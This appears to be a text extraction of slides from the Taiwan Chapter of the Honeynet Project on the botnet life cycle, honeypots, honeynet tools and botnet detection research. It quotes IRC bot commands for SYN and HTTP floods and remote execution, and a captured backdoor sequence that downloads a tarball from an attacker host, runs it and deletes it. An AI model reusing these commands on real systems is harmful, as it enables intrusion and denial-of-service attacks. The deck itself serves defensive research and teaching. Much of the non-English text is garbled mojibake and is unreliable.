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Botnet life cycle 
Computer is 

Exploited

Becomes a Bot

New Bot Rallys to 

let Botherder 

know itôs joined 

the team

Retrieve the Anti 

A/V module

Secure the New 

Bot Client

Retrieve the 

Payload module

Listen to the C&C 

Server/Peer for 

commands

Execute the 

commands

Report Result to 

the C&C Channel

On Command, 

Erase all evidence 

and abandon the 

client

A/V Detection 

Other Bot Clients 

C & C 

Download server 

C & C 

Download server C & C 

Possible traffic to victim 

User Browsing Malicious Sites 

©  2009 Craig A Schiller 
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How to detect 
Computer is 

Exploited

Becomes a Bot

New Bot Rallys to 

let Botherder 

know itôs joined 

the team

Retrieve the Anti 

A/V module

Secure the New 

Bot Client

Retrieve the 

Payload module

Listen to the C&C 

Server/Peer for 

commands

Execute the 

commands

Report Result to 

the C&C Channel

On Command, 

Erase all evidence 

and abandon the 

client

A/V Detection 

Other Bot Clients 

C & C 

Download server 

C & C 

Download server C & C 

Possible traffic to victim 

Known Malware 
Distribution sites 

Known C&C sites 

Security & FW logs 

Abuse@ notices 

User Complaint 

Anomalous Protocol Detection 

Botlike Traffic 
Bad Behavior 

Talking to Darknet 
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ÂכӴὑ1999דȲӦϚ ᶾ צ ᾼ֝ᴴȲԚ֝
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Â ӴHoneynet ProjectȲṳạכהȲLance Spitzner Ӕד2000
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Â Honeynet Project ḕד Ϛדװ⇔ Ȳ֢ќ Ԛ֝ Ȳ
М :  

Â֢ќ ᵫӭ› ᾓȳׁשṅ ᾓȲḃ  

Â ứ ᾼR&D Ȳ Ԛ֥֝ᵂ 

Âᶾ ӻ☼Ȳ  ṅиṹ (Share Lesson Learned)שׁ

Â ֢ќ כ Фדӻ☼Ȳ∂ӴTrusted Relationship 

Â   R & D ד2010 & 2009

ÂGDH 2: Larger scale International Honeynet 
Deployment  

ÂHonEeeBox : Low interaction sensor rollout  

ÂSharing, analysing and visualising data sets  

ÂHoneyClient Improvement  
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Honeynet Project introduction 
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Â A community of organizations actively researching, 

developing and deploying Honeynets and sharing the 

lessons learned. 

ÂAwareness: ԍ ὑ֯׀ ᴩ ϱᾼ№
ПϠ Ȳ ϚḔ≈ᴕֽᴶҟ № ᾼѠᾎ 

Â Information: Ϡ ẁ Ӑᾼḃ ♄ ҵȲ ϚḔ ẁḆ
ἤᾼ Ȳֽ: ḃ Ȳ ⅎ ֽᴶ Ȳ ⅎḃ ѻ

∟ϯϚḔᾼḃ ᵂ 

ÂTools: Honeynet Project ϩὑ  Open Source ToolsȲ
Ӧ ṷToolsȲᶺ ҠѿḆצ ᾼᵉ∂ Ṇ Ϡ
ḃ № ᾓ 
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Honeynet Project Mission 
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Honeynet Project ԓ ќ иӁ 

Taiwan Chapter 
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Â What is a Honeynet ? 

Â High-interaction Honeypot 

Â It is an architecture, not a product or software 

Â Populate with live systems 

Â Once compromised, data is collected to learn the tools, tactics, and 

motives of the Blackhat community  

Â Value of Honeynet  

Â Research : Identify new tools and new tactics, Profiling Blackhats 

Â Early warning and prediction  

Â Incident Response / Forensics 

Â Self-defense 

21 

Honeypot/Honeynet Technology  
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Â After successful exploitation, a bot uses TFTP, FTP, or 
HTTP to download itself to the compromised host.  

Â The binary is started, and connects to the hard-coded 
master IRC server.  

ÂOften a dynamic DNS name is provided rather than a 
hard coded IP address, so the bot can be easily 
relocated.  

ÂUsing a special crafted nickname like USA|743634 
the bot joins the master's channel, sometimes using a 
password to keep strangers out of the channel 

22 

How They Work 
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Bots 

ddos.synflood  [host] [time] [delay] [port]  

starts an SYN flood  

 

ddos.httpflood  [ url ] [number] [referrer] [recursive = true||false]  

starts a HTTP flood  

 

scan.listnetranges  

list scanned netranges  

 

scan.start  

starts all enabled scanners  

 

scan.stop  

stops all scanners  

 

http.download  

download a file via HTTP  

 

http.execute  

updates the bot  via the given HTTP URL  

 

http.update  

executes a file from a given HTTP URL  

 

cvar.set  spam_aol_channel  [channel]  

AOL Spam -  Channel name  

 

cvar.set  spam_aol_enabled  [1/0]  

AOL Spam -  Enabled?  
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IRC BOT 
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Â Botnets sold or for rent. 

Â Saw Botnets being stolen from each other. 

Â Observed harvesting of information from all  compromised 
machines. For example, the operator of the botnet can 
request a list of CD-keys (e.g. for Windows or games) 
from all bots. These CD-keys can be sold or used for other 
purposes since they  are considered valuable information.  

25 

Botnet  Economy 
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Â A honeypot is an information system resource whose 

value lies in unauthorized or illicit use of that resource. 

ÂHas no production value, anything going to or from a 

honeypot is likely a probe, attack or compromise. 

Â Primary value to most organizations is information. 
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Honeypots 
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Â Collect small data sets of high value. 

Â Reduce false positives 

Â Catch new attacks, false negatives 

Â Work in encrypted or IPv6 environments 

Â Simple concept requiring minimal resources. 
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Advantages 
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Â Management Problems 

Â Limited field of view (microscope) 

Â Risk (mainly high-interaction honeypots) 

28 

Disadvantages 
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Â High-interaction honeypot designed to capture in-depth 

information. 

Â Information has different value to different organizations. 

Â Its an architecture you populate with live systems, not a 

product or software.  

Â Any traffic entering or leaving is suspect. 

29 

Honeynets 
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   A highly controlled network where every packet entering or 
leaving is monitored, captured, and analyzed. 

 

Â Data Control 

Â Data Capture 

Â Data Analysis 

30 

How it works 

http://www.honeynet.org/papers/honeynet/  
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Honeynet Project Tools 

Â Capture BAT 

Â Capture-HPC 

Â Google Hack Honeypot 

Â HIHAT(High Interaction 

Honeypot Analysis Toolkit 

Â HoneyBow 

Â HoneyC 

Â Honeyd 
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Â Honeymole 

Â Honeysnap 

Â Honeystick 

Â Honeytrap 

Â Honeywall CDROM 

Â nepenthes 

Â Pehunter 

Â Sebek 

Â Tracker 
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Honeynet Project Tools 
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What Honeynet can do ?  

Attack Behavior came into Honeynet 
Backdoor packets  are captured  

Élynx ťsource http://xxx.xxx.xxx.2:8882/foo > tmp /foo.tgz  

Écd / tmp ;   tar ťzxvf  foo.tgz;  

É./ ttserve ;   

Érm  ťrf  foo.tgz ttserve ; 

Decode backdoor commands  

Understand HackerŪs new  tactics !  (lynx to get malware and execute it .)  
Get HackerŪs operating station!  (http://xxx.xxx.xxx.2:8882)  
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Â Virtual Machine Honeynet 

Â Advanced Server(128GB Memory) 

Â Blade Server(SAS or SSD HDD) 

Â VMWare ESX/vSphare 

Â 1200+ Servers, Windows XP/Vista, Linux, FreeBSD 

Â High Interaction and Low Interaction Honeypots 

Â Distribution Honeynet/Honeypot 

Â Taiwan Education Network  

Â Taiwan Chapter members  

Â GDH Project 

34 

Our Environment 
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Â Large-Scale VM-based Honeynet 

Deployment 

Â Malware Collection and Analysis 

Â Honey-Driven Botnet Detection  

Â Client-Side Attack 

Â Malicious Web Server Exploring  

Â RFI Scripts Detection 

Â Fast-Flux Domain Service Tracking  

Â Research Alliance 

Â Distributed Search and Analysis on Honeynet 

Data 

35 

Research Project & Achievements 

Collection 

Analysis 

Detection 

Tracking 

Reaction 
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Collection Analysis Detection Tacking Reaction 

Honeynet  

Å  
Å Bot  
Å Attack Connect  
Å Malicious  Web 
Server 

 

Å  
Å  

 

Å  
ÅVMWare  ESX 
Å PC 

Traffic  Flow  

Å

Netflow  
Å Peering

Netflow  

 

ÅNetflow  

 

Å  
Å  

 

ÅCloud  Computing  
ÅHiding  Channel  
ÅBehavior  
ÅCorrelation  

 

Å  

 

Å  
Å (Splunk ) 
ÅSAN/NAS  

 

Å  
ÅSandbox  
ÅIP  
Å  
ÅTestbed  

 

Å

(Blacklist)  
ÅBotnet Master  

 

Å  
Å  
Å  
Å  

 

Å  
Å  
Å ( ) 

 

ÅNetflow  

 

Å  
ÅSAN/NAS  

 

Å Blacklist
Netflow  
Å

 
Å ̘

 

 

ÅBotnet Community  
ÅBotnet  

 

Å  

 

ÅSOC
 

Å  
Å (SLA) 

 

Å  
Å GigaPoPsǍ

 
Å ISPǍ

 
ÅISAC  
Å  

 

Å  
ÅWorkflow  
ÅSecurity  Dashboard  

 

Botnet ̘  
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Botnet ᾼ  
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Botnet Detection 

Botnet і  

Bot- Infected иέ 

иέ 

CWsandbox   TWMAN  

ᴩⱢиέ Botnet C&Cה  

Security  
Dashboard  

ṶԈ  



National Center for High -performance Computing                               www.nchc.org.tw  39 

Botnet Detection 
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Â ӣHoneynetἬ Пד Џẓ 

Â Honeywall 

Â Nepenthes 

Â Dionaea 

Âиέ ӭ 

Â Ṇ ѡ  

Â ☼  

Â  ᴩⱢה

Â∂ ▐  

Â и ה Ṇ  

Â Мה  
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Botnet Honeynet∂  
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ה ▐  

É Vulnerability Modules:   ὢ ᾼ  

É Shellcode parsing modules: иέ ч Exploit Payload Ȳ᷄ҏMal- URL 

É Fetch Modules:  ᵓӣHTTPȳFTPȳrdrnȼ ᷿ậ Binaryה  

É Submission Modules: ᷿ϯẃᾼ ẞDiskȲἨẔ҃ᴻὢ׀ה  
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Emulated Vulnerable Services 

Vulnerability  Vulnerability   

vuln -asn1  vuln -optix   

vuln -bagle   vuln -pnp   

vuln -dameware   vuln -sasserftpd   

vuln -dcom   vuln -upnp   

vuln -msmq   vuln -veritas   

vuln -mssql   vuln -wins  

vuln -mydoom   vuln -msdtc   

vuln -netbiosname   vuln -ftpd   

vuln -netdde   vuln -sub7  

vuln -kuang2   vuln - iis  

vuln - lsass  
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ןה  


